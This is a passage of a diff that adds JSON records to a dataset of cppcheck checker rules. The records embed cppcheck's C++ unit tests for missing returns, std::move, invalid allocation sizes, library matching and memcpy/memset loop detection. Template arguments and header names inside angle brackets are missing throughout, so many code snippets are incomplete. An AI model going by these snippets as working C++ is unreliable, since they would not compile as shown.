\"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn3() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn4() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n void checkMissingReturn5() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e, bool b) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" switch (b) {\\n\"\n \" case true:\\n\"\n \" return 3;\\n\"\n \" case false:\\n\"\n \" return 4;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn6() {// #13180\n check(\"int foo(void)\\n\"\n \"{\\n\"\n \" i = readData();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n // NRVO check\n void returnLocalStdMove1() {\n check(\"struct A{}; A f() { A var; return std::move(var); }\");\n ASSERT_EQUALS(\"[test.cpp:1:45]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, C++03 ctor style\n void returnLocalStdMove2() {\n check(\"struct A{}; A f() { return std::move( A() ); }\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, new ctor style\n void returnLocalStdMove3() {\n check(\"struct A{}; A f() { return std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // Function argument\n void returnLocalStdMove4() {\n check(\"struct A{}; A f(A a) { return std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n void returnLocalStdMove5() {\n check(\"struct A{} a; A f1() { return std::move(a); }\\n\"\n \"A f2() { volatile A var; return std::move(var); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string msg{ \\\"abc\\\" }; };\\n\"\n \"std::unique_ptr get(std::vector>& v) {\\n\"\n \" return std::move(v.front());\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" std::vector> v;\\n\"\n \" v.emplace_back(std::make_unique());\\n\"\n \" auto p = get(v);\\n\"\n \" std::cout << p->msg;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string&& f() {\\n\" // #11881\n \" std::string s;\\n\"\n \" return std::move(s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void negativeMemoryAllocationSizeError() { // #389\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = malloc( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid malloc() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = alloca( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\"\n \"[test.cpp:3:17]: (error) Invalid alloca() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void checkLibraryMatchFunctions() {\n /*const*/ Settings s = settingsBuilder(settings).checkLibrary().debugwarnings().build();\n s.daca = true;\n\n check(\"void f() {\\n\"\n \" lib_func();\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n check(\"void f(void* v) {\\n\"\n \" lib_func(v);\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n // #10105\n check(\"class TestFixture {\\n\"\n \"protected:\\n\"\n \" bool prepareTest(const char testname[]);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class TestMemleak : private TestFixture {\\n\"\n \" void run() {\\n\"\n \" do { prepareTest(\\\"testFunctionReturnType\\\"); } while (false);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void testFunctionReturnType() {\\n\"\n \" }\\n\"\n \"};\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11183\n check(\"#include \\n\"\n \"\\n\"\n \"extern void cb(const std::string&);\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" cb(std::string(\\\"\\\"));\\n\"\n \"}\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (information) --check-library: There is no matching configuration for function cb() [checkLibraryFunction]\\n\", errout_str());\n\n // #7375\n check(\"void f() {\\n\"\n \" struct S { int i; char c; };\\n\"\n \" size_t s = sizeof(S);\\n\"\n \" static_assert(s == 9);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char) {}\\n\"\n \"void g() {\\n\"\n \" f(int8_t(1));\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::uint64_t& u) {\\n\"\n \" u = std::uint32_t(u) * std::uint64_t(100);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { throw(1); }\\n\", dinit(CheckOptions, $.s = &s)); // #8958\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using namespace std;\\n\"\n \"void f() { throw range_error(\\\"abc\\\"); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\" // #9002\n \"public:\\n\"\n \" static int f() { return 1; }\\n\"\n \"};\\n\"\n \"void g() { C::f(); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #11223\n \" for (const auto& s : v)\\n\"\n \" s.find(\\\"\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Return value of function s.find() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto* p = new std::vector(5);\\n\"\n \" p->push_back(1);\\n\"\n \" auto* q = new std::vector{ 5, 7 };\\n\"\n \" q->push_back(1);\\n\"\n \" auto* r = new std::vector;\\n\"\n \" r->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p = std::make_shared>();\\n\"\n \" p->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" it->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto v = std::vector{};\\n\"\n \" v.push_back(1);\\n\"\n \" auto w = std::vector{ 1, 2, 3 };\\n\"\n \" w.push_back(1);\\n\"\n \" auto x = std::vector(1);\\n\"\n \" x.push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p(std::make_shared>());\\n\"\n \" p->push_back(1);\\n\"\n \" auto q{ std::make_shared>{} };\\n\"\n \" q->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:2:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:4:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:3:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\"\n \"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct F { void g(int); };\\n\"\n \"void f(std::list& l) {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l.begin(); it != l.end(); ++it)\\n\"\n \" it->g(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"auto f() {\\n\"\n \" return std::runtime_error(\\\"abc\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:1:1]: (debug) auto token with no type. [autoNoType]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11543\n \" S() {}\\n\"\n \" std::vector> v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" for (const std::shared_ptr& c : v)\\n\"\n \" c->f(i);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" struct S { static const std::set s; };\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" const auto& t = N::S::s;\\n\"\n \" if (t.find(\\\"abc\\\") != t.end()) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"void f(std::vector>>& v, int i, int j) {\\n\"\n \" auto& s = v[i][j];\\n\"\n \" s.insert(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v, int i, char c) {\\n\"\n \" const auto& s = v[i];\\n\"\n \" return s.find(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11604\n \" int (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" INT (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T;\\n\"\n \"std::shared_ptr get();\\n\"\n \"void f(int i) {\\n\"\n \" auto p = get();\\n\"\n \" p->h(i);\\n\"\n \" p.reset(nullptr);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function T::h() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct S : std::vector {\\n\"\n \" void f(int i) { push_back(i); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto g = []() -> std::string { return \\\"abc\\\"; };\\n\"\n \" auto s = g();\\n\"\n \" if (s.at(0)) {}\\n\"\n \" auto h{ []() -> std::string { return \\\"xyz\\\"; } };\\n\"\n \" auto t = h();\\n\"\n \" if (t.at(0)) {}\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"::std::string f(const char* c) {\\n\" // #12365\n \" return ::std::string(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S : public std::vector {\\n\"\n \" void resize(size_t n) { std::vector::resize(n); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct P {\\n\" // #13105\n \" bool g(int i) const;\\n\"\n \" std::shared_ptr> m;\\n\"\n \"};\\n\"\n \"bool P::g(int i) const {\\n\"\n \" auto it = m->find(i);\\n\"\n \" const bool b = it != m->end();\\n\"\n \" return b;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (debug) auto token with no type. [autoNoType]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary1() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary2() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary3() {\n check(\"void f(void* dst, const void* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; i++)\\n\"\n \" ((char*)dst)[i] = ((const char*)src)[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary4() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n // different indexes\n void checkUseStandardLibrary5() {\n check(\"void f(void* dst, void* src, const size_t size, const size_t from_idx) {\\n\"\n \" for (size_t i = 0; i < size; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[from_idx];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // unknown count\n void checkUseStandardLibrary6() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; ((int8_t*)src)[i] != 0; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment with 2\n void checkUseStandardLibrary7() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 2) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // right argument of assignment could be static_cast, functional cast, c-style and implicit cast\n // functional cast case not covered\n void checkUseStandardLibrary8() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < count; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = static_cast(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary9() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (static_cast(0));\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary10() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < size; i++)\\n\"\n \" ((char*)dst)[i] = (const char)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary11() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t)0);\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary12() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = 42;\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary13() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary14() {\n check(\"void f(void* dest) {\\n\"\n \" for (size_t i = 0; i < sizeof(int)*(15 + 42/2 - 7); i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestFunctions)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/memsetInvalid2ndParam.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/memsetInvalid2ndParam.json new file mode 100644 index 0000000..8296de8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/memsetInvalid2ndParam.json @@ -0,0 +1,22 @@ +{ + "name": "memsetInvalid2ndParam", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 39, + "branches": 11, + "apis": 31, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 1530 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkfunctions.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestFunctions : public TestFixture {\npublic:\n TestFunctions() : TestFixture(\"TestFunctions\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).severity(Severity::performance).severity(Severity::portability).\n certainty(Certainty::inconclusive).c(Standards::C11).cpp(Standards::CPP11).library(\"std.cfg\").library(\"posix.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n // Prohibited functions\n TEST_CASE(prohibitedFunctions_posix);\n TEST_CASE(prohibitedFunctions_index);\n TEST_CASE(prohibitedFunctions_qt_index); // FP when using the Qt function 'index'?\n TEST_CASE(prohibitedFunctions_rindex);\n TEST_CASE(prohibitedFunctions_var); // no false positives for variables\n TEST_CASE(prohibitedFunctions_gets); // dangerous function\n TEST_CASE(prohibitedFunctions_alloca);\n TEST_CASE(prohibitedFunctions_declaredFunction); // declared function ticket #3121\n TEST_CASE(prohibitedFunctions_std_gets); // test std::gets\n TEST_CASE(prohibitedFunctions_multiple); // multiple use of obsolete functions\n TEST_CASE(prohibitedFunctions_c_declaration); // c declared function\n TEST_CASE(prohibitedFunctions_functionWithBody); // function with body\n TEST_CASE(prohibitedFunctions_crypt); // Non-reentrant function\n TEST_CASE(prohibitedFunctions_namespaceHandling);\n\n // Invalid function usage\n TEST_CASE(invalidFunctionUsage1);\n TEST_CASE(invalidFunctionUsageStrings);\n\n // Invalid function argument\n TEST_CASE(invalidFunctionArg1);\n\n // Math function usage\n TEST_CASE(mathfunctionCall_fmod);\n TEST_CASE(mathfunctionCall_sqrt);\n TEST_CASE(mathfunctionCall_log);\n TEST_CASE(mathfunctionCall_acos);\n TEST_CASE(mathfunctionCall_asin);\n TEST_CASE(mathfunctionCall_pow);\n TEST_CASE(mathfunctionCall_atan2);\n TEST_CASE(mathfunctionCall_precision);\n\n // Ignored return value\n TEST_CASE(checkIgnoredReturnValue);\n TEST_CASE(checkIgnoredErrorCode);\n\n // memset..\n TEST_CASE(memsetZeroBytes);\n TEST_CASE(memsetInvalid2ndParam);\n\n // missing \"return\"\n TEST_CASE(checkMissingReturn1);\n TEST_CASE(checkMissingReturn2); // #11798\n TEST_CASE(checkMissingReturn3);\n TEST_CASE(checkMissingReturn4);\n TEST_CASE(checkMissingReturn5);\n TEST_CASE(checkMissingReturn6); // #13180\n\n // std::move for locar variable\n TEST_CASE(returnLocalStdMove1);\n TEST_CASE(returnLocalStdMove2);\n TEST_CASE(returnLocalStdMove3);\n TEST_CASE(returnLocalStdMove4);\n\n TEST_CASE(returnLocalStdMove5);\n\n TEST_CASE(negativeMemoryAllocationSizeError); // #389\n\n TEST_CASE(checkLibraryMatchFunctions);\n\n TEST_CASE(checkUseStandardLibrary1);\n TEST_CASE(checkUseStandardLibrary2);\n TEST_CASE(checkUseStandardLibrary3);\n TEST_CASE(checkUseStandardLibrary4);\n TEST_CASE(checkUseStandardLibrary5);\n TEST_CASE(checkUseStandardLibrary6);\n TEST_CASE(checkUseStandardLibrary7);\n TEST_CASE(checkUseStandardLibrary8);\n TEST_CASE(checkUseStandardLibrary9);\n TEST_CASE(checkUseStandardLibrary10);\n TEST_CASE(checkUseStandardLibrary11);\n TEST_CASE(checkUseStandardLibrary12);\n TEST_CASE(checkUseStandardLibrary13);\n TEST_CASE(checkUseStandardLibrary14);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n const Settings* s = nullptr;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings& s = options.s ? *options.s : settings;\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void prohibitedFunctions_posix() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" bsd_signal(SIGABRT, SIG_IGN);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'bsd_signal' called. It is recommended to use 'sigaction' instead. [bsd_signalCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int bsd_signal(0);\\n\"\n \" return bsd_signal;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct hostent *hp;\\n\"\n \" if(!hp = gethostbyname(\\\"127.0.0.1\\\")) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Obsolescent function 'gethostbyname' called. It is recommended to use 'getaddrinfo' instead. [gethostbynameCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" long addr;\\n\"\n \" addr = inet_addr(\\\"127.0.0.1\\\");\\n\"\n \" if(!hp = gethostbyaddr((char *) &addr, sizeof(addr), AF_INET)) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (style) Obsolescent function 'gethostbyaddr' called. It is recommended to use 'getnameinfo' instead. [gethostbyaddrCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_index() {\n check(\"namespace n1 {\\n\"\n \" int index(){ return 1; };\\n\"\n \"}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" n1::index();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f()\\n\"\n \"{\\n\"\n \" std::size_t index(0);\\n\"\n \" index++;\\n\"\n \" return index;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" return this->index();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int index( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char f()\\n\"\n \"{\\n\"\n \" const char var[6] = \\\"index\\\";\\n\"\n \" const char i = index(var, 0);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\",\n errout_str());\n }\n\n void prohibitedFunctions_qt_index() {\n check(\"void TDataModel::forceRowRefresh(int row) {\\n\"\n \" emit dataChanged(index(row, 0), index(row, columnCount() - 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\"\n \"[test.cpp:2:37]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\", // duplicate\n errout_str());\n }\n\n void prohibitedFunctions_rindex() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int rindex( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char var[7] = \\\"rindex\\\";\\n\"\n \" print(rindex(var, 0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Obsolescent function 'rindex' called. It is recommended to use 'strrchr' instead. [rindexCalled]\\n\", errout_str());\n }\n\n\n void prohibitedFunctions_var() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" Fred() : index(0) { }\\n\"\n \" int index;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_gets() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = gets(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" foo(x, gets(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_alloca() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\"); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:15]: (warning) Obsolete function 'alloca' called. In C99 and later it is recommended to use a variable length array instead. 